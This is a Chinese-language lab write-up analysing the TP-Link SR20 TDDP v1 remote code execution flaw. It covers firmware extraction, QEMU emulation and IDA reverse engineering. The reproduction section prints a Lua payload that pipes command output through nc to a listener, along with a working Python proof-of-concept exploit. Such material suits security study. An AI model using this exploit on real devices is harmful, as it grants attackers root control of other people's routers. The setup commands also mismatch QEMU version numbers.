TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物聯網協議可以用來當控制中樞 Hub 的觸屏 Wi-Fi 路由器,此遠程代碼執行漏洞允許用戶在設備上以 root 權限執行任意命令,該漏洞存在於 TP-Link 設備調試協議(TP-Link Device Debug Protocol 英文簡稱 TDDP) 中,TDDP 是 TP-Link 申請了專利的調試協議,基於 UDP 運行在 1040 埠。
TP-Link SR20 設備運行了 V1 版本的 TDDP 協議,V1 版本無需認證,只需往 SR20 設備的 UDP 1040 埠發送數據,且數據的第二字節為 0x31 時,SR20 設備會連接發送該請求設備的 TFTP 服務下載相應的文件並使用 LUA 解釋器以 root 權限來執行,這就導致存在遠程代碼執行漏洞。
01
搭建環境
以下所有操作都在Ubuntu LTS 18.04系統下進行
安裝編譯QEMU
Qemu 是純以GPL許可證分發源碼的模擬處理器,在GNU/Linux平臺上使用廣泛。幾乎可以模擬任何硬體設備。
從 QEMU 官網下載最新穩定版源碼來編譯安裝
wget https://download.qemu.org/qemu-3.1.0.tar.xz # 下載源碼tar xvJf qemu-4.0.0-rc1.tar.xz #解壓源碼壓縮包cd qemu-4.0.0-rc1 # 進入源碼目錄./configure --target-list=arm-softmmu --audio-drv-list=alsa,pa # 編譯前配置make # 編譯
如果 configure 時沒有指定 target-list參數,make 會編譯針對所有平臺的 QEMU 導致會耗很長很長的時間,因此可以選擇只編譯 ARM 版的 QEMU 來加快編譯速度,至於選擇 ARM 版是因為 TP-Link SR20 存在漏洞的固件基於是 ARM 架構,下文中會看到。
編譯完成後安裝 checkinstall 來生成 deb 包
sudo apt-get install checkinstall # 安裝 checkinstallsudo checkinstall make install # 使用 checkinstall 生成 deb 包並安裝
如果不使用 checkinstall,直接sudo make install的會把 qemu 安裝在多個位置,如果發生錯誤不方便刪除,所以使用 checkinstall 生成 deb 包方便安裝和卸載。
安裝完成後可以看到安裝的版本
安裝 Binwalk
Binwalk 是一款文件的分析工具,旨在協助研究人員對文件進行分析,提取及逆向工程。
sudo apt install gitgit clone https://github.com/ReFirmLabs/binwalkcd binwalkpython setup.py installsudo ./deps.sh $ Debian/Ubuntu 系統用戶可以直接使用 deps.sh 腳本安裝所有的依賴
更詳細的安裝方法可以查看 Binwalk 的 GitHub wiki
https://github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md
最後運行deps.sh安裝依賴時,cramfstools 編譯出錯導致安裝失敗,可以不用理會。
固件提取
從 TP-Link SR20 設備官網下載固件:https://www.tp-link.com/us/support/download/sr20/#Firmware
選擇SR20(US)_V1_180518進行下載解壓得到tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin固件。
使用binwalk查看固件信息
binwalk -Me tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin
binwalk 會在當前目錄的 _+bin文件名 目錄下生成提取出來的固件裡的所有內容,進入到該目錄
squashfs-root 目錄就是我們需要的固件文件系統
在該文件系統目錄下查找存在漏洞的 tddp 文件並查看文件類型可以看到該文件是一個 ARM 架構的小端32 位 ELF 文件。
最高有效位 MSB 對應大端,最低有效位 LSB對應小端。
https://www.cnblogs.com/endure/p/3425140.html(相關知識)
經過測試發現通過這種方式運行 TDDP 程序並不能觸發該漏洞,因此需要搭建完整的 ARM QEMU 虛擬機環境。
搭建ARM QEMU虛擬環境
從 Debian 官網(https://people.debian.org/~aurel32/qemu/armhf/)下載 QEMU 需要的 Debian ARM 系統的三個文件:
debian_wheezy_armhf_standard.qcow2 2013-12-17 00:04 229Minitrd.img-3.2.0-4-vexpress 2013-12-17 01:57 2.2Mvmlinuz-3.2.0-4-vexpress 2013-09-20 18:33 1.9M
把以上三個文件放在同一目錄下,並執行以下命令
sudo tunctl -t tap0 -u iot # 為了與 QEMU 虛擬機通信,添加一個虛擬網卡,iot為本機名字sudo ifconfig tap0 10.10.10.1/24 # 為添加的虛擬網卡配置 IP 地址qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
虛擬機啟動成功後會提示登陸
輸入用戶名和密碼:root登錄
配置網卡IP
ifconfig eth0 10.10.10.2/24
此時 QEMU 虛擬機可以與宿主機進行網絡通信
現在需要把從固件中提取出的文件系統打包後上傳到 QEMU 虛擬機中
壓縮固件文件系統目錄下的整個文件
tar -cjpf squashfs-root.tar.bz2 squashfs-root/
使用 Python 搭建簡易 HTTP Server
python -m SimpleHTTPServer
在 QEMU 虛擬機中下載上面打包好的文件
wget http://10.10.10.1:8000/squashfs-root.tar.bz2
使用 chroot 切換根目錄固件文件系統
tar -xjf squashfs-root.tar.bz2mount -o bind /dev ./squashfs-root/dev/mount -t proc /proc/ ./squashfs-root/proc/chroot squashfs-root sh
# 切換根目錄後執行新目錄結構下的 sh shell
使用 chroot 後,系統讀取的是新根下的目錄和文件,也就是固件的目錄和文件 chroot 默認不會切換 /dev 和 /proc, 因此切換根目錄前需要現掛載這兩個目錄。
搭建 TFTP Server
在宿主機安裝 atftpd 搭建 TFTP 服務。
sudo apt install atftpd
編輯 /etc/default/atftpd 文件,USE_INETD=true 改為 USE_INETD=false修改 /srv/tftp 為 /tftpboot
執行命令
mkdir /tftpbootchmod 777 /tftpbootsudo systemctl start atftpd # 啟動 atftpdsudo systemctl status atftpd # 查看 atftpd 服務狀態
環境搭建完畢。
02
TDDP協議漏洞的逆向研究
使用IDA對該協議漏洞進行逆向分析。
過程
使用binwalk將固件中的文件提取出來,將squashfs-root下的/usr/bin目錄下的tddp程序放入IDA中加載。
通過反編譯分析,找到main函數為sub_971C,在main函數中,可推測sub_16C90函數是用來獲取v4值的,繼續看下面的函數,可預估函數sub_936C是關鍵函數。
跟進sub_936C函數,在18行處可以看到輸出了tddp task start,確認進入到了關鍵函數中,可以看到,在20到23行應該是進行了內存初始化以及socket的初始化,將套接字綁定到了1040埠。
接著看該函數的後邊,看到在55行if處判定為真時,使用了函數sub_16418,猜測該函數是關鍵函數。
跟進該函數,在32行處發現使用了recvfrom函數,該函數是從套接口上接收數據,並捕獲數據發送源的地址。且在poc中也使用了該函數從套接口接收數據,所以判定正確進入了關鍵函數。
接著看在32行變量v18使用recvfrom接收了套接口的數據,從(char*)v14的45083偏移處取的數據。
繼續看後邊,在取得套接口的數據存在v18後,變量v2也取的地址v20,v20取(char*)v14的45083偏移處取的數據,從recvfrom函數猜測(char*)v14的45083偏移處取的數據是對應TDDP協議的第一個字節。
根據TDDP協議存在兩個版本,該協議規定第一個字節處為version,即版本。而該協議存在漏洞的版本是version為1的時候,不需要進行身份的認證即可對設備進行調試。得出在38行對v2,即TDDP協議第一個字節處的version進行判斷是否為1時,判斷正確後下邊執行的函數中存在關鍵函數。
此處猜測sub_9340是關鍵函數。
跟進函數sub_9340,發現是使用了gettimeofday函數來獲取當前時間,則判定該函數非關鍵函數,退回到上一函數sub_16418,猜測函數sub_15E74為關鍵函數。
跟進sub_15E74函數,發現在該函數中輸出了receive CMD_AUTO_TEST,猜測在該函數中調用了命令執行,判定進入了正確的關鍵函數。
本來switch下的每一個case都應該查看分析的,但因為知道了存在漏洞的case在0x31處,所以直接分析case 0x31處的情況。
在85行就break了,所以可以鎖定關鍵函數步驟出現在sub_A580函數處。
跟進sub_A580函數,在變量中可以看到v8從a1,v19獲取了(char*)v8的45083偏移處取的數據,即從套接口獲取的數據。
繼續看下邊,在57行處,使用了sscanf對v19,即套機口得到的數據,用分號進行了分隔,再傳入s與v10中。在65行處,使用了inet_ntoa函數,猜測此處即是獲取了ip地址再用點隔成字符串格式給了v16。
函數sub_91DC使用了tftp從s和v16拼接成的數據作為地址進行了連接和下載相應文件的操作。將下載的文件名字與/tmp進行拼接,變為/tmp/下載文件名存入&name中。
在83行,使用luaL_loadfile從&name處加載調用了lua腳本。
進入sub_91DC函數進行查看,通過分析,可以確定此處使用了execve執行了命令,可確定就是此處可構成命令執行。
至此,TDDP協議漏洞分析結束。
03
漏洞復現
在 atftp 的根目錄 /tftpboot 下寫入 payload 文件。因此處無tftpboot目錄,所以直接在根目錄下創建一個tftpboot目錄,以便後續操作。
在tftpboot目錄下寫入payload文件。payload 文件內容為:
functionconfig_test(config)os.execute("id | nc 10.10.10.1 1337")end
將poc拷貝進tftpboot目錄下
Poc代碼:
#!/usr/bin/python3# Copyright 2019 Google LLC.# SPDX-License-Identifier: Apache-2.0# Create a file in your tftp directory with the following contents:##function config_test(config)# os.execute("telnetd -l /bin/login.sh")#end## Execute script as poc.py remoteaddr filenameimport sysimport binasciiimport socketport_send = 1040port_receive = 61000tddp_ver = "01"tddp_command = "31"tddp_req = "01"tddp_reply = "00"tddp_padding = "%0.16X" % 00tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)sock_receive.bind(('', port_receive))# Send a requestsock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)packet = binascii.unhexlify(tddp_packet)argument = "%s;arbitrary" % sys.argv[2]packet = packet + argument.encode()sock_send.sendto(packet, (sys.argv[1], port_send))sock_send.close()response, addr = sock_receive.recvfrom(1024)r = response.encode('hex')print(r)
復現步驟為:
1.QEMU 虛擬機中啟動 tddp 程序
2.宿主機使用 NC 監聽埠
3.執行 POC
獲取命令執行結果